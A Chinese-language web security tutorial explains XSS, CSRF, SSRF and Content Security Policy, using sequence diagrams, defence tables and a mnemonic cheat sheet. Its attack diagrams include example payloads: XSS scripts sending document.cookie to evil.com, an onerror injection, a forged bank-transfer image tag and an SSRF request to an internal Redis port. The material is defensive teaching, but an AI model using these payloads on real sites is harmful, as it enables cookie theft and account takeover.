核心问题:会话管理、身份认证、同源策略构建了 Web 安全的基础设施,但攻击者总能找到突破口。常见的攻击手段有哪些?如何防御?
Web 安全攻防
三大攻击类型概览
graph TD
A["Web 安全攻击"] --> B["XSS<br/>跨站脚本攻击"]
A --> C["CSRF<br/>跨站请求伪造"]
A --> D["SSRF<br/>服务端请求伪造"]
B --> B1["注入恶意脚本<br/>偷取用户数据"]
C --> C1["借用用户身份<br/>执行未授权操作"]
D --> D1["借用服务器网络<br/>访问内网资源"]
B1 --> B2["防御:输入转义<br/>CSP + HttpOnly"]
C1 --> C2["防御:CSRF Token<br/>SameSite Cookie"]
D1 --> D2["防御:URL 白名单<br/>禁止内网访问"]
style B fill:#ffe6e6
style C fill:#fff3e6
style D fill:#e6e6ff
| 攻击 | 本质 | 攻击目标 | 一句话总结 |
|---|---|---|---|
| XSS | 在受害者浏览器中执行攻击者的脚本 | 用户数据(Cookie、表单) | 偷内容 |
| CSRF | 借用受害者的已认证身份发起请求 | 用户操作(转账、改密码) | 借身份 |
| SSRF | 借用服务器的网络位置访问内部资源 | 内网服务(数据库、管理后台) | 借网络 |
XSS(Cross-Site Scripting)
XSS 攻击的核心是:攻击者的脚本在受害者的浏览器上下文中执行,从而可以访问该页面的 Cookie、DOM、LocalStorage 等。
三种 XSS 类型
| 类型 | 存储位置 | 触发方式 | 危害范围 |
|---|---|---|---|
| 存储型 | 服务器数据库 | 用户访问包含恶意脚本的页面 | 所有访问该页面的用户 |
| 反射型 | URL 参数 | 用户点击恶意链接 | 点击链接的用户 |
| DOM 型 | 客户端 DOM | 前端 JavaScript 处理不当 | 触发条件的用户 |
存储型 XSS 攻击流程
sequenceDiagram
participant Attacker as 攻击者
participant Server as 服务器
participant Victim as 受害者
Attacker->>Server: 发表评论:<br/><script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
Server->>Server: 存入数据库(未转义)
Victim->>Server: 访问评论页面
Server-->>Victim: 返回页面(包含恶意脚本)
Victim->>Victim: 浏览器执行恶意脚本
Victim->>Attacker: Cookie 被发送到 evil.com
Attacker->>Attacker: 获取受害者 Cookie<br/>冒充受害者身份
反射型 XSS 攻击流程
反射型 XSS 的恶意脚本不存储在服务器上,而是通过 URL 参数"反射"回页面:
sequenceDiagram
participant Attacker as 攻击者
participant Victim as 受害者
participant Server as 服务器
Attacker->>Victim: 发送恶意链接<br/>https://search.com?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
Victim->>Server: 点击链接,访问 URL
Server->>Server: 将 q 参数值直接拼入 HTML<br/>(未转义)
Server-->>Victim: 返回页面:<br/>"搜索结果:<script>...</script>"
Victim->>Victim: 浏览器执行恶意脚本
Victim->>Attacker: Cookie 被发送到 evil.com
与存储型的区别:反射型 XSS 需要诱导用户点击特定链接,影响范围是单个用户;存储型 XSS 存入数据库后影响所有访问该页面的用户。
DOM 型 XSS
DOM 型 XSS 的特殊之处在于:恶意脚本不经过服务器,完全在客户端 JavaScript 中触发。
sequenceDiagram
participant Attacker as 攻击者
participant Victim as 受害者
participant Browser as 浏览器(客户端)
Attacker->>Victim: 发送恶意链接<br/>https://app.com/page#<img src=x onerror=alert(document.cookie)>
Victim->>Browser: 点击链接
Browser->>Browser: 页面 JS 读取 location.hash<br/>document.getElementById('content').innerHTML = location.hash
Browser->>Browser: 浏览器解析注入的 HTML<br/>执行 onerror 中的脚本
Note over Browser: 整个过程不经过服务器<br/>服务器日志中看不到攻击痕迹
典型的危险 API:
document.innerHTML = userInputdocument.write(userInput)eval(userInput)setTimeout(userInput, 0)
防御要点:使用 textContent 替代 innerHTML,使用 encodeURIComponent 处理 URL 参数。
XSS 防御措施
| 防御层 | 措施 | 作用 |
|---|---|---|
| 输入层 | HTML 实体编码(< → <) |
防止脚本注入 |
| 输出层 | 根据上下文选择编码方式(HTML/JS/URL/CSS) | 防止不同上下文的注入 |
| DOM 层 | 使用 textContent 替代 innerHTML |
防止 DOM 型 XSS |
| Cookie 层 | 设置 HttpOnly 标志 |
禁止 JavaScript 读取 Cookie |
| 浏览器层 | 配置 CSP(Content Security Policy) | 限制脚本来源 |
CSRF(Cross-Site Request Forgery)
CSRF 攻击的核心是:浏览器在发送跨站请求时会自动携带目标站点的 Cookie。攻击者不需要知道 Cookie 的内容,只需要诱导用户的浏览器发起请求。

CSRF 攻击流程
sequenceDiagram
participant U as 受害者浏览器
participant Bank as bank.com
participant Evil as evil.com
U->>Bank: 登录 bank.com
Bank-->>U: Set-Cookie: session=abc123
U->>Evil: 访问 evil.com(被诱导点击)
Evil-->>U: 返回恶意页面<br/><img src="https://bank.com/transfer?to=attacker&amount=10000">
Note over U: 浏览器自动携带 bank.com 的 Cookie
U->>Bank: GET /transfer?to=attacker&amount=10000<br/>Cookie: session=abc123
Bank->>Bank: 验证 Session → 有效<br/>执行转账
Bank-->>U: 转账成功
CSRF Token 防御流程
sequenceDiagram
participant U as 用户浏览器
participant S as 服务器
participant E as evil.com
Note over U,S: 正常请求流程
U->>S: GET /transfer-form
S->>S: 生成 CSRF Token<br/>存入 Session
S-->>U: 返回表单<br/><input type="hidden" name="_csrf" value="token123">
U->>S: POST /transfer<br/>Cookie: session=abc123<br/>Body: to=friend&amount=100&_csrf=token123
S->>S: 验证 CSRF Token<br/>Session 中的 Token == 请求中的 Token
S-->>U: 转账成功
Note over U,E: CSRF 攻击被拦截
U->>E: 访问 evil.com
E-->>U: <form action="bank.com/transfer"><br/>(无法获取 CSRF Token)
U->>S: POST /transfer<br/>Cookie: session=abc123<br/>Body: to=attacker&amount=10000<br/>(缺少 _csrf 参数)
S->>S: CSRF Token 验证失败
S-->>U: 403 Forbidden
CSRF 防御措施
| 防御措施 | 原理 | 适用场景 |
|---|---|---|
| CSRF Token | 服务端生成随机 Token,嵌入表单,提交时验证 | 传统表单提交 |
| SameSite Cookie | 限制 Cookie 在跨站请求中的发送 | 现代浏览器 |
| 检查 Referer/Origin | 验证请求来源是否合法 | 辅助防御 |
| 双重 Cookie | 将 Token 同时放在 Cookie 和请求参数中 | API 场景 |
SSRF(Server-Side Request Forgery)
SSRF 攻击的核心是:攻击者通过服务器发起请求,访问服务器所在内网的资源。服务器成为攻击者的"跳板"。
SSRF 攻击流程
sequenceDiagram
participant A as 攻击者
participant S as 目标服务器
participant I as 内网服务<br/>(192.168.1.100)
A->>S: POST /fetch-url<br/>url=http://192.168.1.100:6379/
Note over S: 服务器在内网中<br/>可以访问内网地址
S->>I: GET http://192.168.1.100:6379/
I-->>S: Redis 响应数据
S-->>A: 返回内网数据
Note over A: 攻击者获取了<br/>本不可达的内网数据
SSRF 防御措施
| 防御措施 | 原理 |
|---|---|
| URL 白名单 | 只允许访问预定义的域名/IP |
| 禁止内网地址 | 过滤 10.x.x.x、172.16-31.x.x、192.168.x.x、127.0.0.1 |
| 禁止非常用协议 | 只允许 HTTP/HTTPS,禁止 file://、gopher://、dict:// |
| DNS 重绑定防护 | 解析 URL 后验证 IP,防止 DNS 指向内网 |
记忆锚点:XSS 偷内容靠注入脚本,CSRF 借身份靠自动携带 Cookie,SSRF 借网络靠服务器跳板。
CSP 内容安全策略
核心问题:即使做了输入转义和 HttpOnly,XSS 防御仍可能存在遗漏。能否从浏览器层面建立最后一道防线?
CSP(Content Security Policy,W3C 规范)通过 HTTP 响应头告诉浏览器:只允许加载和执行来自指定来源的资源。即使攻击者成功注入了恶意脚本,浏览器也会拒绝执行。
CSP 工作原理
sequenceDiagram
participant S as 服务器
participant B as 浏览器
participant CDN as cdn.example.com
participant Evil as evil.com
S-->>B: HTTP 响应<br/>Content-Security-Policy:<br/>script-src 'self' https://cdn.example.com
B->>CDN: 加载 https://cdn.example.com/app.js
CDN-->>B: 返回脚本
B->>B: 来源在白名单中 → 允许执行
Note over B: 页面中存在注入的恶意脚本
B->>B: 发现 <script src="https://evil.com/steal.js">
B->>B: evil.com 不在白名单中 → 拒绝加载
B->>S: 发送 CSP 违规报告

CSP 指令速查
| 指令 | 控制的资源 | 示例 |
|---|---|---|
default-src |
所有资源的默认策略 | default-src 'self' |
script-src |
JavaScript 脚本 | script-src 'self' https://cdn.com |
style-src |
CSS 样式 | style-src 'self' 'sha256-xxx' |
img-src |
图片 | img-src * data: |
connect-src |
AJAX/WebSocket/Fetch | connect-src 'self' https://api.com |
font-src |
字体文件 | font-src 'self' |
frame-src |
iframe 嵌入 | frame-src 'none' |
frame-ancestors |
允许嵌入本页面的父页面 | frame-ancestors 'self' |
script-src-elem |
<script> 元素(CSP Level 3) |
script-src-elem 'self' |

CSP 值类型
| 值 | 含义 | 示例 |
|---|---|---|
'none' |
禁止加载任何资源 | script-src 'none' |
'self' |
仅允许同源资源 | script-src 'self' |
* |
允许任何来源 | img-src * |
https: |
仅允许 HTTPS 资源 | img-src https: |
'nonce-{value}' |
允许携带指定 nonce 的内联脚本 | script-src 'nonce-abc123' |
'sha256-{hash}' |
允许哈希匹配的内联脚本 | style-src 'sha256-xxx' |
'unsafe-inline' |
允许内联脚本/样式(危险) | script-src 'unsafe-inline' |
'unsafe-eval' |
允许 eval() 等危险函数 |
script-src 'unsafe-eval' |
记忆锚点:none 禁止,self 同源, 全开,unsafe 危险。*
实战配置模板
高安全站点(银行):
1 | |
通用业务站点:
1 | |
违规报告与监控
CSP 提供两种模式:强制模式和报告模式。
| 模式 | 响应头 | 行为 |
|---|---|---|
| 强制模式 | Content-Security-Policy |
拦截违规资源 + 发送报告 |
| 报告模式 | Content-Security-Policy-Report-Only |
不拦截,仅发送报告 |
报告模式适用于:
- 新站点上线前收集违规情况
- 逐步收紧 CSP 策略,避免直接阻断业务
- 监控第三方资源的变化
服务器接收的 JSON 报告示例:
1 | |
记忆锚点:Report-Only 只报告不拦截,强制模式拦截并报告。
实际攻击拦截示例
假设站点配置了以下 CSP 规则:
1 | |
攻击场景:攻击者在评论框中注入恶意脚本
1 | |
拦截结果:
- 浏览器控制台报错:
Refused to load http://xss.hacker.tools/cookie.js because it does not appear in the script-src directive of the Content Security Policy. - 恶意脚本被拦截,XSS 攻击失败
- 服务器收到违规报告,可追踪攻击来源
对比:如果没有 CSP,恶意脚本将被执行,攻击者可窃取用户 Cookie。
漏洞占比与 CSP 的重要性
根据 2019-2020 年度漏洞统计数据,XSS 仍是 Web 安全中最常见的漏洞类型之一:

CSP 作为浏览器层面的防护机制,可以有效阻断大部分 XSS 攻击,是 Web 安全防护体系的重要组成部分。
记忆锚点:XSS 占比高,CSP 兜底防。
常见误区
- [错误] CSP 能防 SQL 注入、SSRF → CSP 只在浏览器生效,与后端漏洞无关
- [错误] 加了 CSP 就不用转义 → CSP 是额外防线,仍需输入输出编码
- [错误]
unsafe-inline方便 → 等于关掉 XSS 防护,生产环境禁用
<meta> 标签与响应头对比
| 维度 | HTTP 响应头 | <meta> 标签 |
|---|---|---|
| 功能完整性 | 完整 | 不支持 report-to、frame-ancestors、sandbox |
| 生效时机 | 最早(HTTP 层) | 解析到 <meta> 时才生效 |
| 适用场景 | 生产环境(推荐) | 静态托管、CDN 边缘节点的应急部署 |
| 覆盖范围 | 所有资源 | 仅当前 HTML 文档 |
模式速查表
| 关键词 | 模式 | 方案 | 口诀 |
|---|---|---|---|
| HTTP 无状态 | 载体 + 服务端存储 | Cookie + Session | Cookie 传 ID,Session 存数据 |
| Cookie 安全 | 属性控制 | 六大属性 + SameSite | 域路径定范围,三开关定安全 |
| 分布式 Session | 集中存储 | Redis 共享 Session | 复制有风暴,粘性怕宕机,Redis 是首选 |
| HTTP 认证 | 质询-响应 | Basic → Digest → Bearer | 明文 → 哈希 → 令牌 |
| 无状态令牌 | 自包含 + 签名 | JWT | 签名防篡改,过期防滥用,签出去收不回来 |
| 跨系统免登录 | 中心化认证 | CAS SSO | 没 Cookie 就跳转,有 TGC 就签 ST |
| 第三方授权 | 授权码分离 | OAuth 2.0 | 前端拿 Code,后端换 Token |
| 浏览器隔离 | 同源策略 | SOP + CORS | 协议域名端口三元组 |
| 脚本注入 | 输入转义 + 浏览器兜底 | 编码 + CSP + HttpOnly | XSS 偷内容,转义是基础,CSP 是兜底 |
| 身份借用 | Token 验证 | CSRF Token + SameSite | CSRF 借身份,Token 来验证 |
| 网络穿透 | 白名单 + 地址过滤 | URL 白名单 + 禁内网 | SSRF 借网络,白名单来挡 |
| 资源加载控制 | 白名单策略 | CSP | 脚本管 XSS,frame 管劫持 |